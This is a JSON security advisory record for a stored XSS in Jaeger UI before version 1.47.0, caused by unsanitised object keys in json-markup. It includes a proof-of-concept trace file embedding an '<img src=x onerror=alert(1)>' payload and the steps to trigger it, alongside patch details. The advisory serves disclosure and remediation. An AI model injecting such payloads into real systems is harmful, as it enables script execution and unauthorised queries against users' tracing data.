{"id":"GHSA-2w8w-qhg4-f78j","title":"A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries","summary":"A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","vendor":"jaegertracing","product":"github.com/jaegertracing/jaeger","ecosystem":"go","affected":["github.com/jaegertracing/jaeger < 1.47.0"],"patched":["github.com/jaegertracing/jaeger 1.47.0"],"published":"2023-07-11","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:49:42.501224921Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-2w8w-qhg4-f78j","references":[{"url":"https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r"},{"url":"https://github.com/jaegertracing/jaeger/security/advisories/GHSA-2w8w-qhg4-f78j"},{"url":"https://github.com/jaegertracing/jaeger"},{"url":"https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49"}],"tags":["osv","go"],"ingestedAt":"2026-09-12T03:13:01.746Z","slug":"GHSA-2w8w-qhg4-f78j","body":"## Overview\n\nRelated UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r\n\n### Summary\nJaeger UI is using the `json-markup` dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the `KeyValuesTable` is vulnerable to XSS. \n\n### Details\nThe vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49\n\n### PoC\n\n1. Start a Jaeger UI\n2. Save the following trace as a file:\n```json\n{\n    \"data\": [\n        {\n            \"traceID\": \"076ef819cc06c45a\",\n            \"spans\": [\n                {\n                    \"traceID\": \"076ef819cc06c45a\",\n                    \"spanID\": \"076ef819cc06c45a\",\n                    \"flags\": 1,\n                    \"operationName\": \"and open 'attributes'\",\n                    \"references\": [],\n                    \"startTime\": 1678196149232010,\n                    \"duration\": 13485,\n                    \"tags\": [\n                        {\n                            \"key\": \"sampler.type\",\n                            \"type\": \"string\",\n                            \"value\": \"{\\\"<img src=x onerror=alert(1)>\\\":\\\"test\\\"}\"\n                        }\n                    ],\n                    \"logs\": [],\n                    \"processID\": \"p1\",\n                    \"warnings\": null\n                }\n            ],\n            \"processes\": {\n                \"p1\": {\n                    \"serviceName\": \"click here\",\n                    \"tags\": [\n                    ]\n                }\n            },\n            \"warnings\": null\n        }\n    ],\n    \"total\": 0,\n    \"limit\": 0,\n    \"offset\": 0,\n    \"errors\": null\n}\n```\n3. Upload that trace to Jaeger UI in order to visualise it.\n4. Open the trace, open it's span's attributes.\n5. XSS should be fired.\n\n### Impact\n\nThis is a XSS on Jaeger UI. XSS can be used to run JavaScript.\n\n\n## Affected packages\n\n- `github.com/jaegertracing/jaeger < 1.47.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/jaegertracing/jaeger 1.47.0`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}